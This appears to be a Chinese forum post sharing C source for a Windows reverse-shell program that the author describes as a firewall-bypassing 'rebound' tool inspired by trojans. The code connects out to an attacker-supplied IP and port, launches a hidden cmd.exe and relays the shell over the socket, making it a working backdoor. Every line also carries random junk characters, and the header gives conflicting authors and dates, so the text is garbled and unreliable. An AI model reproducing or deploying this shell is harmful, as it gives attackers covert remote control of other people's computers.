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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 jLS]^|  
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/* ============================== ;xtb2c8HT  
Rebound port in Windows NT L?C~ qS2g  
By wind,2006/7 @=#s~ 3  
===============================*/ kCjI`=7$[  
#include Hg_ XD,  
#include gH// TbS  
)hJjVitG  
#pragma comment(lib,"wsock32.lib") 1nTaKK q  
p}|wO&4h  
void OutputShell(); L=w Fo^N  
SOCKET sClient; G/3lX^Z>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =}GyI_br;8  
sH,)e'0  
void main(int argc,char **argv) {ZEXlNPww  
{ V+~{a:8[pq  
WSADATA stWsaData; iwjl--)@K  
int nRet; m9w ; a  
SOCKADDR_IN stSaiClient,stSaiServer; I%C:d#p  
I"<. h'  
if(argc != 3) ]sP9!hup  
{ [#6Esy8|  
printf("Useage:\n\rRebound DestIP DestPort\n"); !enz05VW6.  
return; EjE`S_i=  
} il%tu<E#J~  
!;C(pnE  
WSAStartup(MAKEWORD(2,2),&stWsaData); *"sDaN0@R  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %vYlu%c<  
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stSaiClient.sin_family = AF_INET; Zw 8b -_  
stSaiClient.sin_port = htons(0); bK%tQeT  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); KBHKcFk  
t\d;}@bl  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M]TVaN$v#  
{ @5VZ   
printf("Bind Socket Failed!\n"); kGiw?~t=%  
return;  !Ocg  
} A2_3zrE  
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stSaiServer.sin_family = AF_INET; \1'R}B@;  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I>~BkR+u%o  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);  VgoKi  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) K2`WcEe  
{ <U`Nb) &  
printf("Connect Error!"); G/44gKl  
return; * t9qH  
} -+@~*$ d  
OutputShell(); Awf = yE:  
} 8vo7~6yy  
|RXC;zt9s  
void OutputShell() v$/i5kcWx  
{ U zHhU*nW  
char szBuff[1024]; Pm;*Jv%  
SECURITY_ATTRIBUTES stSecurityAttributes; 2#}IGZ`Yp/  
OSVERSIONINFO stOsversionInfo; qA/ 3uA!z  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;  Jiylrf`o  
STARTUPINFO stStartupInfo; 1Klu]J%  
char *szShell; 9sU,.T  
PROCESS_INFORMATION stProcessInformation; l<_mag/j9o  
unsigned long lBytesRead; '6J$X-  
k r^#B^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); n8aiGnd=v  
1U9N8{xg9  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 1+c(G?Ava  
stSecurityAttributes.lpSecurityDescriptor = 0; *]?YvY  
stSecurityAttributes.bInheritHandle = TRUE; >.~k?_Of  
5{aQ4H>~tx  
R:x04!}  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); pR>QIZq<gT  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); z4:09!o_  
5g7}A`  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2DdLqZY#  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Cms"OkN  
stStartupInfo.wShowWindow = SW_HIDE; 7B"aFnK;[J  
stStartupInfo.hStdInput = hReadPipe; |noTIAI  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; $:Z xb  
lfd{O7L0b  
GetVersionEx(&stOsversionInfo); Ap18qp  
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switch(stOsversionInfo.dwPlatformId) |]b/5s;>  
{ 8so}^2hTlT  
case 1: q`zR6  
szShell = "command.com"; wb"t:(>&  
break; 30`H Xv@  
default: n:kxG  
szShell = "cmd.exe"; ~36XJ  
break; <QLj6#d7Y  
} )@M|YM1+  
*9^k^h(r&4  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); me\)JCZpb{  
5*Iz3vTq  
send(sClient,szMsg,77,0); ?KW?] o  
while(1) s5#g[}dj  
{ sRI8znus  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :b)@h|4  
if(lBytesRead) /^ 7 9|$E  
{ kIo?<=F8T  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); e$I:[>  
send(sClient,szBuff,lBytesRead,0); 3e1"5~?'<  
} )+R3C%  
else KJZY.7  
{ _fw'c*j  
lBytesRead=recv(sClient,szBuff,1024,0); lR^Qm|  
if(lBytesRead<=0) break; x9s`H)  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 13 p0w  
} xF0*q  
} =J\7(0Dz4t  
u:?RdB}B_@  
return; ]xs\,}I%  
}
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